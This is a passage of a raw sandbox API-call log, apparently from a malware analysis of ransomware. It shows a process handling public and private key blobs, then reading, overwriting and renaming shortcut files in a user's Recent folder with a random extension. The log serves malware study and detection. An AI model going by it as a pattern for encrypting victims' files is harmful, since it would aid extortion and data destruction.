v8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", lpUsedDefaultChar=0x0) returned 2469 [0079.349] GetCurrentThreadId () returned 0xa30 [0079.349] GetCurrentThreadId () returned 0xa30 [0079.349] GetCurrentThreadId () returned 0xa30 [0079.350] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0079.350] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f848fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0079.350] GetCurrentThreadId () returned 0xa30 [0079.350] GetCurrentThreadId () returned 0xa30 [0079.350] GetCurrentThreadId () returned 0xa30 [0079.350] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2opleEzWe0B wcg.mkv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\2opleezwe0b wcg.mkv.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0079.351] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0079.351] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0079.351] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x14ed [0079.351] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0079.351] ReadFile (in: hFile=0x124, lpBuffer=0x1f8c700, nNumberOfBytesToRead=0x14ed, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f8c700*, lpNumberOfBytesRead=0x18f96c*=0x14ed, lpOverlapped=0x0) returned 1 [0079.353] CloseHandle (hObject=0x124) returned 1 [0079.353] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2opleEzWe0B wcg.mkv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\2opleezwe0b wcg.mkv.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0079.355] WriteFile (in: hFile=0x124, lpBuffer=0x1f8e730*, nNumberOfBytesToWrite=0x14ed, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f8e730*, lpNumberOfBytesWritten=0x18f978*=0x14ed, lpOverlapped=0x0) returned 1 [0079.358] CloseHandle (hObject=0x124) returned 1 [0079.359] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2opleEzWe0B wcg.mkv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\2opleezwe0b wcg.mkv.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2opleEzWe0B wcg.mkv.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\2opleezwe0b wcg.mkv.lnk.zv7un")) returned 1 [0079.361] GetCurrentThreadId () returned 0xa30 [0079.361] GetCurrentThreadId () returned 0xa30 [0079.361] GetCurrentThreadId () returned 0xa30 [0079.361] GetCurrentThreadId () returned 0xa30 [0079.361] GetCurrentThreadId () returned 0xa30 [0079.361] GetCurrentThreadId () returned 0xa30 [0079.361] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe0381560, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe0381560, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe0381560, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xf30, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="2pfWvAl3JPRxQW6X.lnk", cAlternateFileName="2PFWVA~1.LNK")) returned 1 [0079.361] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0079.361] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0079.361] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2pfWvAl3JPRxQW6X.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\2pfwval3jprxqw6x.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe0381560, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe0381560, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe0381560, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xf30)) returned 1 [0079.362] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2pfWvAl3JPRxQW6X.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\2pfwval3jprxqw6x.lnk")) returned 0x20 [0079.362] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2pfWvAl3JPRxQW6X.lnk", dwFileAttributes=0x80) returned 1 [0079.373] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0079.373] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f7389c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0079.374] GetCurrentThreadId () returned 0xa30 [0079.374] GetCurrentThreadId () returned 0xa30 [0079.374] GetCurrentThreadId () returned 0xa30 [0079.375] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0079.375] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f848fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 